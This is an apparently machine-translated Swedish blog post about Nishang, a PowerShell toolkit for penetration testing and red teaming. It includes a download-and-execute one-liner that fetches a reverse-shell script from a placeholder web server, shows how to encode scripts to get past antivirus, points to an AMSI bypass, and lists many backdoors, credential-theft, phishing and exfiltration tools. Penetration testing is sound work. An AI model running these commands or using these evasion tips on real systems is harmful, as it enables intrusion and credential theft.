Nishang: offensiv PowerShell för Red Team, penetrationstestning och offensiv säkerhet

author
7 minutes, 11 seconds Read

Nishang är en ram och samling av skript och nyttolaster som möjliggör användning av PowerShell för offensiv säkerhet, penetrationstestning och röd teaming. Nishang är användbart under alla faser av penetrationstestning.

användning

importera alla skript i den aktuella PowerShell-sessionen (PowerShell v3 och framåt).

PS C:\nishang > Import-Modul .nishang.psm1

använd de enskilda skripten med dot sourcing.

PS C:\nishang>. C:\nishang\Gather\Get-Information.ps1
PS C:\nishang > Get-Information

för att få hjälp om något skript eller funktion, använd:

PS C:\nishang> Get-Help-full

Observera att hjälpen är tillgänglig för funktionen laddad efter att ha kört skriptet och inte själva skriptet sedan version 0.3.8. I alla fall är funktionsnamnet samma som skriptnamnet.

för att till exempel se hjälpen om Get-WLAN-Keys. ps1, använd

PS C:\nishang>. C:\ Nishang \ Get-WLAN-nycklar. ps1
PS C:\nishang> Get-Help Get-WLAN-Keys-Full

Anti Virus

Nishang skript flaggas av många anti virus som skadliga. Scriptsna på ett mål är avsedda att användas i minnet vilket är mycket lätt att göra med PowerShell. Två grundläggande metoder för att köra PowerShell-skript i minnet:

Metod 1. Använd in-memory dowload och execute: använd kommandot nedan för att utföra ett PowerShell-skript från ett fjärrskal, meterpreter native shell, ett webbskal etc. och funktionen exporteras av den. Alla skript i Nishang exporterar en funktion med samma namn i den aktuella PowerShell-sessionen.

powershell IEX (New-Object Net.WebClient).DownloadString(’http://<yourwebserver>/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp-Reverse-IPAddress-Port

Metod 2. Använd parametern -encodedcommand (eller -e) i PowerShell alla skript i Nishang exporterar en funktion med samma namn i den aktuella PowerShell-sessionen. Se därför till att funktionsanropet görs i själva skriptet när du använder encodedcommand-parametern från ett icke-PowerShell-skal. För ovanstående exempel, lägg till ett funktionsanrop (utan citat) "Invoke-PowerShellTcp -Reverse -IPAddress -Port ".

koda scrript med Invoke-Encode från Nishang:

PS C:\nishang>. \ Nishang \ Utility \ anropa-koda
PS C:\nishang > anropa-koda-DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

  • kodade data skrivna till .\kodad.Txt
  • kodat kommando skrivet till .\ encodedcommand.txt

från ovan, använd det kodade skriptet från encodedcommand.txt och kör det på ett mål där kommandon kan utföras (ett fjärrskal, meterpreter native shell, ett webbskal etc.). Använd den som nedan:

C:\Users\target > powershell-e

om skripten fortfarande upptäcks kommer det att hjälpa att ändra funktions-och parameternamn och ta bort hjälpinnehållet.

om Windows 10: S AMSI fortfarande blockerar skriptkörning, se den här bloggen: http://www.labofapenetrationtester.com/2016/09/amsi.html

Läs också-Clipboardme: Grab & injicera Urklipp innehåll genom länk

skript

Nishang innehåller för närvarande följande skript och nyttolaster.

Active Directory

  • Set-DCShadowPermissions
    • ändra ANNONSOBJEKT för att ge minimala behörigheter som krävs för DCShadow.

Antak-Webshell

  • Antak
    • Kör PowerShell-skript i minnet, kör kommandon och ladda ner och ladda upp filer med denna webshell.

bakdörrar

  • HTTP-bakdörr
    • en bakdörr som kan ta emot instruktioner från tredje parts webbplatser och köra PowerShell-skript i minnet.
  • DNS_TXT_Pwnage
    • en bakdörr som kan ta emot kommandon och PowerShell-skript från DNS TXT-frågor, köra dem på ett mål och fjärrstyras med hjälp av frågorna.
  • Execute-OnTime
    • en bakdörr som kan köra PowerShell-skript vid en given tidpunkt på ett mål.
  • Gupt-bakdörr
    • en bakdörr som kan ta emot kommandon och skript från ett WLAN SSID utan att ansluta till det.
  • Add-ScrnSaveBackdoor
    • en bakdörr som kan använda Windows skärmsläckare för fjärrstyrning och skriptkörning.
  • Invoke-ADSBackdoor
    • en bakdörr som kan använda alternativa dataströmmar och Windows-registret för att uppnå uthållighet.
  • Add-RegBackdoor
    • en bakdörr som använder välkända Debugger trick för att utföra nyttolast med Sticky keys och Utilman (Windows key + U).
  • Set-RemoteWMI
    • ändra behörigheter för DCOM-och WMI-namnområden för att ge åtkomst till en icke-admin-användare.
  • Set-RemotePSRemoting
    • ändra behörigheter för PowerShell remoting för att tillåta åtkomst till en icke-admin-användare.

Bypass

  • Invoke-AmsiBypass
    • implementering av allmänt kända metoder för att kringgå/undvika AMSI.

klient

  • Out-CHM
    • skapa infekterade CHM-filer som kan utföra PowerShell-kommandon och skript.
  • Out-Word
    • skapa Word-filer och infektera befintliga för att köra PowerShell-kommandon och skript.
  • Out-Excel
    • skapa Excel-filer och infektera befintliga för att köra PowerShell-kommandon och skript.
  • Out-HTA
    • skapa en HTA-fil som kan distribueras på en webbserver och användas i phishing-kampanjer.
  • Out-Java
    • skapa signerade JAR-filer som kan användas med applets för skript och kommando utförande.
  • Out-genväg
    • skapa genvägsfiler som kan utföra PowerShell-kommandon och skript.
  • Out-WebQuery
    • skapa IQY-filer för phishing-referenser och SMB-hashar.
  • Out-JS
    • skapa JS-filer som kan utföra PowerShell-kommandon och skript.
  • Out-SCT
    • skapa SCT-filer som kan utföra PowerShell-kommandon och skript.
  • Out-SCF
    • skapa en SCF-fil som kan användas för att fånga NTLM hash utmaningar.

upptrappning

  • Enable-DuplicateToken
    • när systembehörigheter krävs.
  • ta bort-uppdatera
    • införa sårbarheter genom att ta bort patchar.
  • Invoke-PsUACme
    • Bypass UAC.

utförande

  • Download-Execute-PS
    • hämta och kör ett PowerShell-skript i minnet.
  • Download_Execute
    • ladda ner en körbar i textformat, konvertera den till en körbar och kör.
  • Execute-Command-MSSQL
    • Kör PowerShell-kommandon, inbyggda kommandon eller SQL-kommandon på en MSSQL-Server med tillräckliga behörigheter.
  • kör-DNSTXT-kod
    • kör skalkod i minnet med DNS TXT-frågor.
  • Out-RundllCommand
    • Kör PowerShell-kommandon och skript eller en omvänd PowerShell-session med rundll32.exe.

samla

  • kontrollera-VM
    • kontrollera om en virtuell maskin.
  • kopiera-VSS
    • kopiera Sam-filen med Volume Shadow Copy Service.
  • Invoke-CredentialsPhish
    • lura en användare att ge referenser i klartext.
  • FireBuster FireListener
    • ett par skript för egress testning
  • Get-Information
    • få saftig information från ett mål.
  • Get-LSASecret
    • få lsa hemlighet från ett mål.
  • Get-PassHashes
    • hämta lösenordshashar från ett mål.
  • Get-WLAN-nycklar
    • hämta WLAN-nycklar i klartext från ett mål.
  • Keylogger
    • logga tangenttryckningar från ett mål.
  • Invoke-MimikatzWdigestDowngrade
    • dumpa användarlösenord i vanligt på Windows 8.1 och Server 2012
  • Get-PassHints
    • få lösenord tips om Windows-användare från ett mål.
  • Show-TargetScreen
    • Anslut tillbaka och strömma målskärmen med MJPEG.
  • Invoke-Mimikatz
    • ladda mimikatz i minnet. Uppdaterad och med viss anpassning.
  • Invoke-Mimikittenz
    • extrahera saftig information från målprocessen (som webbläsare) minne med regex.
  • Invoke-SSIDExfil
    • exfiltrera information som användaruppgifter, med hjälp av WLAN SSID.
  • Invoke-SessionGopher
    • identifiera admin jump-boxar och / eller datorer som används för att komma åt Unix-maskiner.

MITM

  • Invoke-Interceptor
    • en lokal HTTPS-proxy för MITM-attacker.

Pivot

  • skapa-MultipleSessions
    • kontrollera referenser på flera datorer och skapa PSSessions.
  • Run-EXEonRemote
    • kopiera och kör en körbar på flera maskiner.
  • Invoke-NetworkRelay
    • skapa nätverksreläer mellan datorer.

Prasadhak

  • Prasadhak
    • kontrollera att köra hashar av körprocessen mot Virustotal-databasen.

skanna

  • Brute-Force
    • Brute force FTP, Active Directory, MSSQL och Sharepoint.
  • Port-Scan
    • en praktisk port scanner.

Powerpreter

  • Powerpreter
    • alla funktioner i nishang i en enda skriptmodul.

skal

  • Invoke-PsGcat
    • skicka kommandon och skript till specificerat Gmail-konto som ska utföras av Invoke-PsGcatAgent
  • Invoke-PsGcatAgent
    • kör kommandon och skript som skickas av Invoke-PsGcat.
  • Invoke-PowerShellTcp
    • ett interaktivt PowerShell reverse connect eller bind-skal
  • Invoke-PowerShellTcpOneLine
    • avskalad version av Invoke-PowerShellTcp. Innehåller också en skelettversion som kan passa i två tweets.
  • Invoke-PowerShellTcpOneLineBind
    • Bind version av Invoke-PowerShellTcpOneLine.
  • Invoke-PowerShellUdp
    • ett interaktivt PowerShell-omvänd anslutning eller bindningsskal över UDP
  • Invoke-PowerShellUdpOneLine
    • avskalad version av Invoke-PowerShellUdp.
  • Invoke-PoshRatHttps
    • omvänd interaktiv PowerShell över HTTPS.
  • Invoke-PoshRatHttp
    • omvänd interaktiv PowerShell över HTTP.
  • Remove-PoshRat
    • rengör systemet efter att ha använt Invoke-PoshRatHttps
  • Invoke-PowerShellWmi
    • interaktiv PowerShell med WMI.
  • Invoke-PowerShellIcmp
    • ett interaktivt PowerShell-omvänd skal över ICMP.
  • Invoke-JSRatRundll
    • ett interaktivt PowerShell-omvänd skal över HTTP med rundll32.exe.
  • Invoke-JSRatRegsvr
    • ett interaktivt PowerShell-omvänd skal över HTTP med regsvr32.exe.

Utility

  • Add-Exfiltration
    • Lägg till data exfiltration kapacitet till Gmail, Pastebin, en webbserver och DNS till alla skript.
  • Add-Persistens
    • Lägg omstart uthållighet kapacitet till ett skript.
  • Remove-Persistens
    • Remote persistens tillagd av Add-Persistens-skriptet.
  • gör-Exfiltrering
    • rör (|) detta till något skript för att exfiltrera utgången.
  • ladda ner
    • överför en fil till målet.
  • Parse_Keys
    • Parse nycklar loggas av keylogger.
  • anropa-koda
    • koda och komprimera ett skript eller en sträng.
  • Invoke-Decode
    • avkoda och dekomprimera ett skript eller en sträng från Invoke-Encode.
  • Start-CaptureServer
    • kör en webbserver som loggar grundläggande autentisering och SMB hashes.
  • ConvertTo-ROT13
    • Koda en sträng till ROT13 eller avkoda en ROT13 sträng.
  • Out-DnsTxt
    • generera DNS TXT-poster som kan användas med andra skript.

Similar Posts

Lämna ett svar

Din e-postadress kommer inte publiceras.